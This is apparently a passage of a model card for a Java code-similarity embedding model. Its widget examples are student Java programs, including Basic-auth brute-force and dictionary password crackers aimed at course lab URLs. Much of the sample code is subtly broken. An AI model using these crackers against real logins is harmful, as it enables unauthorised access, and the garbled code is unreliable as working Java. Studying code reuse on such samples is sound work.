fnfe)\n\t\t\t\t{\n\t\t\t\t\tString f=baseURL+urls[i];\n\t\t\t\t\timages[i]=f.substring(0,f.lastIndexOf('/'));\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\timages[i]=getResource(urls[i]);\n\t\t\t\t}\n\t\t\t\tcatch(FileNotFoundException fnfe)\n\t\t\t\t{\n\t\t\t\t\timages[i]=urls[i].substring(0,urls[i].lastIndexOf('/'));\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t}\n\t\treturn images;\n\t}\n\tprivate void log(String pageText,String[] images) throws IOException\n        {\n\t\tPrintWriter out=new PrintWriter(new FileOutputStream(file));\n\t\tout.println(pageText);\n\t\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\");\n\t\tout.flush();\t\n\n\t\tif(images.length>0)\n\t\t{\n\t\t\tout.println(images.length+\"\");\n\t\t\tout.flush();\t\n\t\t}\n\t\tfor(int i=0;i<images.length;i++)\n\t\t{\n\t\t\tout.println(images[i]);\n\t\t\tout.flush();\n\t\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\");\n\t\t\tout.flush();\t\t\n\t\t}\t\n\n\t}\n\n    public String getResource(String url) throws IOException\n\t{\n\t\t\t\tSystem.out.println(\"url=\"+url);\n\t\t\t\tString urlData=new String(\"\");\n                InputStreamReader in=new InputStreamReader(new URL(url).openStream());\n                int ch=in.print();\n                while(ch!= -1)\n                {\n                  urlData=urlData+(char)ch;\n                  ch=in.print();\n                }\n\t\treturn urlData;\n\t}\n\n        public boolean mail (String msg) throws IOException\n        {\n            boolean ret=true;\n            try\n            {\n              Socket csoc=new Socket(\"yallara.cs.rmit.edu.\",25);\n              BufferedReader in=new BufferedReader(new InputStreamReader(csoc.getInputStream()));\n              PrintWriter out=new PrintWriter(csoc.getOutputStream(),true);\n              out.println(\"HELO \"+host);\n              System.out.println(in.readLine());\n              out.println(\"MAIL FROM:\"+from);\n              System.out.println(in.readLine());\n              out.println(\"RCPT :\");\n              System.out.println(in.readLine());\n              out.println(\"DATA\");\n              System.out.println(in.readLine());\n              out.println(\"SUBJECT:\"+subject);\n              System.out.println(in.readLine());\n              out.println(msg);\n \t      out.println(\".\");\n              System.out.println(in.readLine());\n              out.println(\"QUIT\");\n              System.out.println(in.readLine());\n            }\n            catch(Exception e)\n            {\n              e.printStackTrace();\n              System.out.println(\"Some error occoured while communicating  server\");\n              ret=false;\n \t      return ret;\n            }\n\t    System.out.println(\"**************************************\\nMAIL ->\"+msg);\n            return ret;\n        }\n\n\tpublic static void main (String[] args)\n\t{\n\t\tSystem.out.println(\"Usage : \\n java WatchDog <space seperated list of urls> <current path> [First] \\n {The First at the end is used when running the watch dog for a new URL for the first Time}\");\n\t\tboolean flag=false;\n\t\tint num=args.length-1;\n\t\tif(args[args.length-1].equalsIgnoreCase(\"First\"))\n\t\t{\n\t\t\tnum--;;\n\t\t\tflag=true;\n\t\t}\nSystem.out.println(args[num]);\n\n\t\tWatchDog w=new WatchDog(flag);\n\t\tString []u=new String[num];\n\t\tfor(int i=0;i<u.length;i++)\n\t\t\tu[i]=args[i];\n\t\tw.startWatching(u,args[num]);\n\t}\n}\n"
    sentences:
      - |


        import java.util.Hashtable;



        public class Diff {

          
          public Diff(Object[] a,Object[] b) {
            Hashtable h = new Hashtable(a.length + b.length);
            filevec[0] = new file_data(a,h);
            filevec[1] = new file_data(b,h);
          }

          
          private int equiv_max = 1;

          
          public boolean heuristic = false;

          
          public boolean no_discards = false;

          private int[] xvec, yvec;     
          private int[] fdiag;          
          private int[] bdiag;          
          private int fdiagoff, bdiagoff;
          private final file_data[] filevec = new file_data[2];
          private int cost;

          

          private int diag (int xoff, int xlim, int yoff, int ylim) {
            final int[] fd = fdiag;     
            final int[] bd = bdiag;     
            final int[] xv = xvec;              
            final int[] yv = yvec;              
            final int dmin = xoff - ylim;       
            final int dmax = xlim - yoff;       
            final int fmid = xoff - yoff;       
            final int bmid = xlim - ylim;       
            int fmin = fmid, fmax = fmid;       
            int bmin = bmid, bmax = bmid;       
            
            final boolean odd = (fmid - bmid & 1) != 0; 

            fd[fdiagoff + fmid] = xoff;
            bd[bdiagoff + bmid] = xlim;

            for (int c = 1;; ++c)
              {
                int d;                  
                boolean big_snake = false;

                
                if (fmin > dmin)
                  fd[fdiagoff + --fmin - 1] = -1;
                else
                  ++fmin;
                if (fmax < dmax)
                  fd[fdiagoff + ++fmax + 1] = -1;
                else
                  --fmax;
                for (d = fmax; d >= fmin; d -= 2)
                  {
                    int x, y, oldx, tlo = fd[fdiagoff + d - 1], tly = fd[fdiagoff + d + 1];

                    if (tlo >= ylim)
                      x = tlo + 1;
                    else
                      x = ylim;
                    oldx = x;
                    y = x - d;
                    while (x < xlim && y < ylim && xv[x] == yv[y]) {
                      ++x; ++y;
                    }
                    if (x - oldx > 20)
                      big_snake = true;
                    fd[fdiagoff + d] = x;
                    if (odd && bmin <= d && d <= bmax && bd[bdiagoff + d] <= fd[fdiagoff + d])
                      {
                        cost = 2 * c - 1;
                        return d;
                      }
                  }

                
                if (bmin > dmin)
                  bd[bdiagoff + --bmin - 1] = Integer.MAX_VALUE;
                else
                  ++bmin;
                if (bmax < dmax)
                  bd[bdiagoff + ++bmax + 1] = Integer.MAX_VALUE;
                else
                  --bmax;
                for (d = bmax; d >= bmin; d -= 2)
                  {
                    int x, y, oldx, tlo = bd[bdiagoff + d - 1], tly = bd[bdiagoff + d + 1];

                    if (tlo < ylim)
                      x = tlo;
                    else
                      x =  - 1;
                    oldx = x;
                    y = x - d;
                    while (x > xoff && y > yoff && xv[x - 1] == yv[y - 1]) {
                      --x; --y;
                    }
                    if (oldx - x > 20)
                      big_snake = true;
                    bd[bdiagoff + d] = x;
                    if (!odd && fmin <= d && d <= fmax && bd[bdiagoff + d] <= fd[fdiagoff + d])
                      {
                        cost = 2 * c;
                        return d;
                      }
                  }

                

                if (c > 200 && big_snake && heuristic)
                  {
                    int i = 0;
                    int bestpos = -1;

                    for (d = fmax; d >= fmin; d -= 2)
                      {
                        int dd = d - fmid;
                        if ((fd[fdiagoff + d] - xoff)*2 - dd > 12 * (c + (dd > 0 ? dd : -dd)))
                          {
                            if (fd[fdiagoff + d] * 2 - dd > i
                                && fd[fdiagoff + d] - xoff > 20
                                && fd[fdiagoff + d] - d - yoff > 20)
                              {
                                int k;
                                int x = fd[fdiagoff + d];

                                
                                for (k = 1; k <= 20; k++)
                                  if (xvec[x - k] != yvec[x - d - k])
                                    break;

                                if (k == 21)
                                  {
                                     ylim = fd[fdiagoff + d] * 2 - dd;
                                    bestpos = d;
                                  }
                              }
                          }
                      }
                    if ( x> 0)
                      {
                        cost = 2 * c - 1;
                        return bestpos;
                      }

                     x= 0;
                    for (d = bmax; d >= bmin; d -= 2)
                      {
                        int dd = d - bmid;
                        if ((xlim - bd[bdiagoff + d])*2 + dd > 12 * (c + (dd > 0 ? dd : -dd)))
                          {
                            if ((xlim - bd[bdiagoff + d]) * 2 + dd > i
                                && xlim - bd[bdiagoff + d] > 20
                                && x - (bd[bdiagoff + d] - d) > 20)
                              {
                                
                                int k;
                                int x = bd[bdiagoff + d];

                                for (k = 0; k < 20; k++)
                                  if (xvec[x + k] != yvec[x - d + k])
                                    break;
                                if (k == 20)
                                  {
                                    x = (xlim - bd[bdiagoff + d]) * 2 + dd;
                                    bestpos = d;
                                  }
                              }
                          }
                      }
                    if (x > 0)
                      {
                        cost = 2 * c - 1;
                        return bestpos;
                      }
                  }
              }
          }

          

          private void compareseq (int xoff, int xlim, int yoff, int ylim) {
            
            while (xoff < xlim && yoff < ylim && xvec[xoff] == yvec[yoff]) {
              ++xoff; ++yoff;
            }
            
            while (xlim > xoff && ylim > yoff && xvec[xlim - 1] == yvec[ ylim- 1]) {
              --xlim; --x;
            }
            
            
            if (xoff == xlim)
              while (yoff < ylim)
                filevec[1].changed_flag[1+filevec[1].realindexes[yoff++]] = true;
            else if (yoff == ylim)
              while (xoff < xlim)
                filevec[0].changed_flag[1+filevec[0].realindexes[xoff++]] = true;
            else
              {
                

                int d = diag (xoff, xlim, yoff, ylim );
                int c = cost;
                int f = fdiag[fdiagoff + d];
                int b = bdiag[bdiagoff + d];

                if (c == 1)
                  {
                    
                    throw new IllegalArgumentException("Empty subsequence");
                  }
                else
                  {
                    
                    compareseq (xoff, b, yoff, b - d);
                    
                    compareseq (b, xlim, b - d,ylim );
                  }
              }
          }

          

          private void discard_confusing_lines() {
            filevec[0].discard_confusing_lines(filevec[1]);
            filevec[1].discard_confusing_lines(filevec[0]);
          }

          private boolean inhibit = false;

          

          private void shift_boundaries() {
            if (inhibit)
              return;
            filevec[0].shift_boundaries(filevec[1]);
            filevec[1].shift_boundaries(filevec[0]);
          }

          public interface ScriptBuilder {
          
            public change build_script(
              boolean[] changed0,int len0,
              boolean[] changed1,int len1
            );
          }

          

          static class ReverseScript implements ScriptBuilder {
            public  change build_script(
                final boolean[] changed0,int len0,
                final boolean[] changed1,int len1)
            {
              change script = null;
              int i0 = 0, i1 = 0;
              while (i0 < len0 || i1 < len1) {
                if (changed0[1+i0] || changed1[1+i1]) {
                    int line0 = i0, line1 = i1;

                    
                    while (changed0[1+i0]) ++i0;
                    while (changed1[1+i1]) ++i1;

                    
                    script = new change(line0, line1, i0 - line0, i1 - line1, script);
                }

                
                i0++; i1++;
              }

              return script;
            }
          }

          static class ForwardScript implements ScriptBuilder {
            
            public change build_script(
                  final boolean[] changed0,int len0,
                  final boolean[] changed1,int len1)
            {
              change script = null;
              int i0 = len0, i1 = len1;

              while (i0 >= 0 || i1 >= 0)
                {
                  if (changed0[i0] || changed1[i1])
                    {
                      int line0 = i0, line1 = i1;

                      
                      while (changed0[i0]) --i0;
                      while (changed1[i1]) --i1;

                      
                      script = new change(i0, i1, line0 - i0, line1 - i1, script);
                    }

                  
                  i0--; i1--;
                }

              return script;
            }
          }

          
          public final static ScriptBuilder
            forwardScript = new ForwardScript(),
            reverseScript = new ReverseScript();

          
          public final change diff_2(final boolean reverse) {
            return diff(reverse ? reverseScript : forwardScript);
          }

          
          public change diff(final ScriptBuilder bld) {

            

            discard_confusing_lines ();

            

            xvec = filevec[0].undiscarded;
            yvec = filevec[1].undiscarded;

            int diags =
              filevec[0].nondiscarded_lines + filevec[1].nondiscarded_lines + 3;
            fdiag = new int[diags];
            fdiagoff = filevec[1].nondiscarded_lines + 1;
            bdiag = new int[diags];
            bdiagoff = filevec[1].nondiscarded_lines + 1;

            compareseq (0, filevec[0].nondiscarded_lines,
                        0, filevec[1].nondiscarded_lines);
            fdiag = null;
            bdiag = null;

            

            shift_boundaries ();

            
            return bld.build_script(
              filevec[0].changed_flag,
              filevec[0].buffered_lines,
              filevec[1].changed_flag,
              filevec[1].buffered_lines
            );

          }

          

          public static class change {
            
            public int change ;         
            
            public final int inserted;  
            
            public final int deleted;           
            
            public final int line0;             
            
            public final int line1;             

            
            public change(int line0, int line1, int deleted, int inserted, change old) {
              this.line0 = line0;
              this.line1 = line1;
              this.inserted = inserted;
              this.deleted = deleted;
              this.old = old;
              
            }
          }

          

          class file_data {

            
            void clear() {
              
              changed_flag = new boolean[buffered_lines + 2];
            }

            
            int[] equivCount() {
              int[] equiv_count = new int[equiv_max];
              for (int i = 0; i < buffered_lines; ++i)
                ++equiv_count[equivs[i]];
              return equiv_count;
            }

            
            void discard_confusing_lines(file_data f) {
              clear();
            
              final byte[] discarded = discardable(f.equivCount());

            
              filterDiscards(discarded);

            
              discard(discarded);
            }

            

            private byte[] discardable(final int[] counts) {
              final int end = buffered_lines;
              final byte[] discards = new byte[end];
              final int[] equivs = this.equivs;
              int many = 5;
              int tem = end / 64;

              
              while ((tem = tem >> 2) > 0)
                many *= 2;

              for (int i = 0; i < end; i++)
                {
                  int nmatch;
                  if (equivs[i] == 0)
                    continue;
                  nmatch = counts[equivs[i]];
                  if (nmatch == 0)
                    discards[i] = 1;
                  else if (nmatch > many)
                    discards[i] = 2;
                }
              return discards;
            }

            

            private void filterDiscards(final byte[] discards) {
                final int end = buffered_lines;

                for (int i = 0; i < end; i++)
                  {
                    
                    if (discards[i] == 2)
                      discards[i] = 0;
                    else if (discards[i] != 0)
                      {
                        
                        int j;
                        int length;
                        int provisional = 0;

                        
                        for (j = i; j < end; j++)
                          {
                            if (discards[j] == 0)
                              break;
                            if (discards[j] == 2)
                              ++provisional;
                          }

                        
                        while (j > i && discards[j - 1] == 2) {
                          discards[--j] = 0; --provisional;
                        }

                        
                        length = j - i;

                        
                        if (provisional * 4 > length)
                          {
                            while (j > i)
                              if (discards[--j] == 2)
                                discards[j] = 0;
                          }
                        else
                          {
                            int consec;
                            int minimum = 1;
                            int tem = length / 4;

                            
                            while ((tem = tem >> 2) > 0)
                              minimum *= 2;
                            minimum++;

                            
                            for (j = 0, consec = 0; j < length; j++)
                              if (discards[i + j] != 2)
                                consec = 0;
                              else if (minimum == ++consec)
                                
                                j -= consec;
                              else if (minimum < consec)
                                discards[i + j] = 0;

                            
                            for (j = 0, consec = 0; j < length; j++)
                              {
                                if (j >= 8 && discards[i + j] == 1)
                                  break;
                                if (discards[i + j] == 2) {
                                  consec = 0; discards[i + j] = 0;
                                }
                                else if (discards[i + j] == 0)
                                  consec = 0;
                                else
                                  consec++;
                                if (consec == 3)
                                  break;
                              }

                            
                            i += length - 1;

                            
                            for (j = 0, consec = 0; j < length; j++)
                              {
                                if (j >= 8 && discards[i - j] == 1)
                                  break;
                                if (discards[i - j] == 2) {
                                  consec = 0; discards[i - j] = 0;
                                }
                                else if (discards[i - j] == 0)
                                  consec = 0;
                                else
                                  consec++;
                                if (consec == 3)
                                  break;
                              }
                          }
                      }
                  }
              }

            
            private void discard(final byte[] discards) {
              final int end = buffered_lines;
              int j = 0;
              for (int i = 0; i < end; ++i)
                if (no_discards || discards[i] == 0)
                  {
                    undiscarded[j] = equivs[i];
                    realindexes[j++] = i;
                  }
                else
                  changed_flag[1+i] = true;
              nondiscarded_lines = j;
            }

            file_data(Object[] data,Hashtable h) {
              buffered_lines = data.length;

              equivs = new int[buffered_lines]; 
              undiscarded = new int[buffered_lines];
              realindexes = new int[buffered_lines];

              for (int i = 0; i < data.length; ++i) {
                Integer ir = (Integer)h.get(data[i]);
                if (ir == null)
                  h.put(data[i],new Integer(equivs[i] = equiv_max++));
                else
                  equivs[i] = ir.intValue();
              }
            }

            

            void shift_boundaries(file_data f) {
              final boolean[] changed = changed_flag;
              final boolean[] other_changed = f.changed_flag;
              int i = 0;
              int j = 0;
              int i_end = buffered_lines;
              int preceding = -1;
              int other_preceding = -1;

              for (;;)
                {
                  int start, end, other_start;

                  

                  while (i < i_end && !changed[1+i])
                    {
                      while (other_changed[1+j++])
                        
                        other_preceding = j;
                      i++;
                    }

                  if (i == i_end)
                    break;

                  start = i;
                  other_start = j;

                  for (;;)
                    {
                      

                      while (i < i_end && changed[1+i]) i++;
                      end = i;

                      

                      

                      if (end != i_end
                          && equivs[start] == equivs[end]
                          && !other_changed[1+j]
                          && end != i_end
                          && !((preceding >= 0 && start == preceding)
                               || (other_preceding >= 0
                                   && other_start == other_preceding)))
                        {
                          changed[1+end++] = true;
                          changed[1+start++] = false;
                          ++i;
                          
                          ++j;
                        }
                      else
                        break;
                    }

                  preceding = i;
                  other_preceding = j;
                }
            }

            
            final int buffered_lines;

            
            private final int[]     equivs;

            
            final int[]    undiscarded;

            
            final int[]    realindexes;

            
            int             nondiscarded_lines;

            
            boolean[]       changed_flag;

          }
        }
      - |
        package java.httputils;

        import java.io.BufferedOutputStream;
        import java.io.FileNotFoundException;
        import java.io.FileOutputStream;
        import java.io.IOException;
        import java.io.OutputStream;
        import java.net.MalformedURLException;
        import java.sql.Timestamp;
        import java.util.Observable;

        public class BruteForce extends Observable
        {
            
            protected Timestamp start;
            protected Timestamp end;
            protected String URL = "http://localhost:8080/secret/index.html";
            protected String userName = "";
            protected String content = "";
            protected int attempts = 0;
            protected String password;
            protected String fileName;

            public static final char[] letters =
                {
                    'a',
                    'b',
                    'c',
                    'd',
                    'e',
                    'f',
                    'g',
                    'h',
                    'i',
                    'j',
                    'k',
                    'l',
                    'm',
                    'n',
                    'o',
                    'p',
                    'q',
                    'r',
                    's',
                    't',
                    'u',
                    'v',
                    'w',
                    'x',
                    'y',
                    'z',
                    'A',
                    'B',
                    'C',
                    'D',
                    'E',
                    'F',
                    'G',
                    'H',
                    'I',
                    'J',
                    'K',
                    'L',
                    'M',
                    'N',
                    'O',
                    'P',
                    'Q',
                    'R',
                    'S',
                    'T',
                    'U',
                    'V',
                    'W',
                    'X',
                    'Y',
                    'Z',
                    ' '};
            
            public BruteForce()
            {
            }

            
            public void process()
            {
                StringBuffer password = new StringBuffer("aaa");
                
                setStart(new Timestamp(System.currentTimeMillis()));

                for (int i = 0;
                    i < letters.length - 1;
                    password.setCharAt(0, letters[i]), i++)
                {
                    for (int i2 = 0;
                        i2 < letters.length;
                        password.setCharAt(1, letters[i2]), i2++)
                    {
                        for (int i3 = 0;
                            i3 < letters.length;
                            password.setCharAt(2, letters[i3]), i3++)
                        {
                            try
                            {
                                attempts++;

                                BasicAuthHttpRequest req =
                                    new BasicAuthHttpRequest(
                                        getURL(),
                                        getUserName(),
                                        password.toString().trim());
                                setPassword(password.toString());
                                setEnd(new Timestamp(System.currentTimeMillis()));
                                setContent(req.getContent().toString());

                                
                                if (getFileName() != null && getFileName().length() > 0)
                                {
                                    createReport();
                                }
                                return;
                            }
                            catch (MalformedURLException e)
                            {
                                e.printStackTrace();
                                return;
                            }
                            catch (IOException e)
                            {

                            }
                        }
                    }
                }

                
                setEnd(new Timestamp(System.currentTimeMillis()));


            }

            
            public void createReport()
            {
                OutputStream os = null;
                try
                {
                    os = new BufferedOutputStream(
                             new FileOutputStream(getFileName(), false));
                    os.write(printResult().getBytes());
                }
                catch (FileNotFoundException e)
                {
                    e.printStackTrace();
                }
                catch (IOException e)
                {
                    e.printStackTrace();
                }
                finally
                {
                    if (os != null)
                    {
                        try
                        {
                            os.close();
                        }
                        catch (IOException e)
                        {
                        }
                    }
                }
            }

            
            public String printResult()
            {
                StringBuffer s = new StringBuffer();

                s.append("** " + this.getClass().getName() + " Results **\n\n");
                s.append("Password: " + getPassword() + "\n\n");

                s.append("Attempts : " + attempts + "\n\n");

                s.append(
                    "Time (seconds): "
                        + (getEnd().getTime() - getStart().getTime()) / 1000
                        + "\n\n");
                s.append("Content: \n" + getContent() + "\n\n");

                return s.toString();
            }

            public String printUsage()
            {
                StringBuffer s = new StringBuffer();

                s.append("** BruteForce proper usage **\n\n");
                s.append(
                    "java ..httputils.BruteForce <URL> <UserName> <OutputFile - Optional>\n\n");

                return s.toString();
            }

            public static void main(String[] args)
            {
                BruteForce bruteForce = new BruteForce();

                if (args.length < 2)
                {
                    System.out.println(bruteForce.printUsage());
                }
                else
                {
                    bruteForce.setURL(args[0]);
                    bruteForce.setUserName(args[1]);
                    if (args.length > 2)
                    {
                        bruteForce.setFileName(args[2]);
                    }
                    bruteForce.process();
                    System.out.println(bruteForce.printResult());
                }
            }

            

            
            public Timestamp getEnd()
            {
                return end;
            }

            
            public Timestamp getStart()
            {
                return ;
            }

            
            public void setEnd(Timestamp timestamp)
            {
                end = timestamp;
            }

            
            public void setStart(Timestamp timestamp)
            {
               time  = timestamp;
            }

            
            public String getURL()
            {
                return URL;
            }

            
            public void setURL(String string)
            {
                URL = string;
            }

            
            public String getUserName()
            {
                return userName;
            }

            
            public void setUserName(String string)
            {
                userName = string;
            }

            
            public String getContent()
            {
                return content;
            }

            
            public void setContent(String string)
            {
                content = string;
            }

            
            public String getPassword()
            {
                return password;
            }

            
            public void setPassword(String string)
            {
                password = string;
            }

            
            public String getFileName()
            {
                return fileName;
            }

            
            public void setFileName(String string)
            {
                fileName = string;
            }

        }
      - |




        import java.io.*;
        import java.*;
        import java.net.*;

        public class Dictionary
        {

           static BufferedReader in = null;
           static MyAuthenticator Auth = new MyAuthenticator();

         
           public static void main(String[] args) throws IOException
           {
              int tmp = 0;
              String str ="";
              Authenticator.setDefault(Auth);
         
              try
              {
                 URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php");

                 
                 
                 while(tmp!=1)
                 {
                    try
                    {
                       in = new BufferedReader(new InputStreamReader(url.openStream()));
                       tmp=1;
                    }
                    catch (IOException e) {}
                    
                 }         

                 while ((str = in.readLine()) != null) 
                 {
                    
                    
                    
                 }
                 

                 System.out.println("The successful Password found using a Dictionary search is = " + Auth.finalPass());

              } 
              catch (MalformedURLException e) 
                 {System.out.println("mfURL");}
           }    


        }

        class MyAuthenticator extends Authenticator 
        {
           String username = "";
           static String password = "";
           
           static String DictFile = "/usr/share/lib/dict/words";
           static BufferedReader fReader;

           public MyAuthenticator()
           {
              try
              {
                  fReader = new BufferedReader
                                    (new FileReader(DictFile));
              }
              catch (FileNotFoundException e)
              {
                 System.out.println("File " +DictFile+ " Not Found");
                 System.out.println(" File Opened");
                 System.exit(1);
              }
              catch (IOException e)
              {
                 System.out.println("File  Failed..");
                 System.exit(1);
              }

           }

           static void setPass(String pswd)
           {
              password = pswd;
           }

           static String finalPass()
           {
              return password;
           }

           static String getPass()
           {
              try
              {
                 if ((password = fReader.readLine()) == null)
                 {
                    System.out.println("Password Not found in file '" + DictFile +"'.");
                    System.exit(1);
                 }
              }
              catch (IOException ioe)
              {
                 System.out.println("File IOException");
                 System.out.println(ioe);
              }

              return password;
           }



           protected PasswordAuthentication getPasswordAuthentication() 
           { 
              
              return new PasswordAuthentication(username, getPass().toCharArray()); 

           } 
        }
  - source_sentence: "\npublic class ImageFile\n{\n\tprivate String imageUrl;\n\tprivate int imageSize;\n\n\tpublic ImageFile(String url, int size)\n\t{\n\t\timageUrl=url;\n\t\timageSize=size;\n\t}\n\n\tpublic String getImageUrl()\n\t{\n\t\treturn imageUrl;\n\t}\n\n\tpublic int getImageSize()\n\t{\n\t\treturn imageSize;\n\t}\n}\n"
    sentences:
      - |-
        import java.io.*;
        import java.net.*;

        public class BruteForce {
          public static void main(String[] args) {
              BruteForce brute=new BruteForce();
              brute.start();


             }


        public void start() {
        char passwd[]= new char[3];
        String password;
        String username="";
        String auth_data;
        String server_res_code;
        String required_server_res_code="200";
        int cntr=0;

        try {

        URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
        URLConnection conn=null;


                   for (int i=65;i<=122;i++)     {
                       if(i==91) { i=i+6; }
                       passwd[0]= (char) i;

                   for (int j=65;j<=122;j++)     {
                      if(j==91) { j=j+6; }
                      passwd[1]=(char) j;

                    for (int k=65;k<=122;k++)    {
                        if(k==91) { k=k+6; }
                        passwd[2]=(char) k;
                        password=new String(passwd);
                        password=password.trim();
                        auth_data=null;
                        auth_data=username + ":" + password;
                        auth_data=auth_data.trim();
                        auth_data=getBasicAuthData(auth_data);
                        auth_data=auth_data.trim();
                        conn=url.openConnection();
                        conn.setDoInput (true);
                        conn.setDoOutput(true);
                        conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");
                        conn.setRequestProperty ("Authorization", auth_data);
                        server_res_code=conn.getHeaderField(0);
                        server_res_code=server_res_code.substring(9,12);
                        server_res_code.trim();
                        cntr++;
                        System.out.println(cntr + " . " + "PASSWORD SEND : " + password + "  SERVER RESPONSE  : " + server_res_code);
                        if( server_res_code.compareTo(required_server_res_code)==0 )
                        {System.out.println("PASSWORD IS :  " + password + "  SERVER RESPONSE  : " + server_res_code );
                        i=j=k=123;}
                                                   }

                                                }

                                            }
                }
             catch (Exception e) {
                   System.err.print(e);
                   }
          }

        public String getBasicAuthData (String getauthdata)    {

        char base64Array [] = {
              'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
              'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
              'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
              'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
              'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
              'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
              'w', 'x', 'y', 'z', '0', '1', '2', '3',
              '4', '5', '6', '7', '8', '9', '+', '/' } ;

            String encodedString = "";
            byte bytes [] = getauthdata.getBytes ();
            int i = 0;
            int pad = 0;
            while (i < bytes.length) {
              byte b1 = bytes [i++];
              byte b2;
              byte b3;
              if (i >= bytes.length) {
                 b2 = 0;
                 b3 = 0;
                 pad = 2;
                 }
              else {
                 b2 = bytes [i++];
                 if (i >= bytes.length) {
                    b3 = 0;
                    pad = 1;
                    }
                 else
                    b3 = bytes [i++];
                 }
              byte c1 = (byte)(b1 >> 2);
              byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
              byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
              byte c4 = (byte)(b3 & 0x3f);
              encodedString += base64Array [c1];
              encodedString += base64Array [c2];
              switch (pad) {
                case 0:
                 encodedString += base64Array [c3];
                 encodedString += base64Array [c4];
                 break;
                case 1:
                 encodedString += base64Array [c3];
                 encodedString += "=";
                 break;
                case 2:
                 encodedString += "==";
                 break;
               }
              }
              return " " + encodedString;
          }
        }
      - |
        package java.httputils;

        import java.io.IOException;
        import java.net.MalformedURLException;
        import java.sql.Timestamp;


        public class RunnableBruteForce extends BruteForce implements Runnable
        {
            protected int rangeStart, rangeEnd;
            protected boolean stop = false;
            
            public RunnableBruteForce()
            {
                super();
            }

            
            public void run()
            {
                process();
            }

            public static void main(String[] args)
            {
            }
            
            public int getRangeEnd()
            {
                return rangeEnd;
            }

            
            public int getRangeStart()
            {
                return rangeStart;
            }

            
            public void setRangeEnd(int i)
            {
                rangeEnd = i;
            }

            
            public void setRangeStart(int i)
            {
                rangeStart = i;
            }

            
            public boolean isStop()
            {
                return stop;
            }

            
            public void setStop(boolean b)
            {
                stop = b;
            }

            public void process()
            {
                String password = "";
                
                System.out.println(Thread.currentThread().getName() +
                                    "->  workload: " +
                                    this.letters[getRangeStart()] + "  " +
                                    this.letters[getRangeEnd() - 1]);
                setStart(new Timestamp(System.currentTimeMillis()));

                for (int i = getRangeStart();
                    i < getRangeEnd();
                    i++)
                {
                    System.out.println(Thread.currentThread().getName() +
                            "-> Trying words beginning with: " +
                            letters[i]);
                    for (int i2 = 0;
                        i2 < letters.length;
                        i2++)
                    {
                        for (int i3 = 0;
                            i3 < letters.length;
                            i3++)
                        {
                            if (isStop())
                            {
                                return;
                            }
                            try
                            {
                                char [] arr = new char [] {letters[i], letters[i2], letters[i3]};
                                String pwd = new String(arr);
                                
                                if (Thread.currentThread().getName().equals("Thread-1") && pwd.equals("bad"))
                                {
                                    System.out.println(Thread.currentThread().getName() +
                                           "-> Trying password: " +
                                            pwd);
                                }
                                attempts++;

                                BasicAuthHttpRequest req =
                                    new BasicAuthHttpRequest(
                                        getURL(),
                                        getUserName(),
                                        pwd);
                                System.out.println("Got the password");
                                setPassword(pwd);
                                setEnd(new Timestamp(System.currentTimeMillis()));
                                setContent(req.getContent().toString());

                                
                                this.setChanged();
                                this.notifyObservers(this.getContent());
                                return;
                            }
                            catch (MalformedURLException e)
                            {
                                e.printStackTrace();
                                return;
                            }
                            catch (IOException e)
                            {

                            }
                        }
                    }
                }

                
                setEnd(new Timestamp(System.currentTimeMillis()));
            }

        }
      - "\n\nclass WebPage\n{\n    \n    \n    private boolean success = false;\n    \n    private String pageContents= \"\";\n    \n\n\t\n    public WebPage()\n    {\n    }\n    \n\t\n    public void setSuccess (boolean inSuccess)\n    {\n        success = inSuccess;\n    }\n    \n\t\n    public boolean getSuccess()\n    {\n        return success;\n    }\n    \n\t\n    public void setPageContents (String inPage)\n    {\n        pageContents = inPage;\n    }\n    \n\t\n    public String getPageContents()\n    {\n        return pageContents;\n    }\n}   \n"
pipeline_tag: sentence-similarity
library_name: sentence-transformers

SentenceTransformer based on microsoft/unixcoder-base-unimodal

This is a sentence-transformers model finetuned from microsoft/unixcoder-base-unimodal. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

  • Model Type: Sentence Transformer
  • Base model: microsoft/unixcoder-base-unimodal
  • Maximum Sequence Length: 512 tokens
  • Output Dimensionality: 768 dimensions
  • Similarity Function: Cosine Similarity

Model Sources

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-UniXcoder-ST")
# Run inference
sentences = [
    '\npublic class ImageFile\n{\n\tprivate String imageUrl;\n\tprivate int imageSize;\n\n\tpublic ImageFile(String url, int size)\n\t{\n\t\timageUrl=url;\n\t\timageSize=size;\n\t}\n\n\tpublic String getImageUrl()\n\t{\n\t\treturn imageUrl;\n\t}\n\n\tpublic int getImageSize()\n\t{\n\t\treturn imageSize;\n\t}\n}\n',
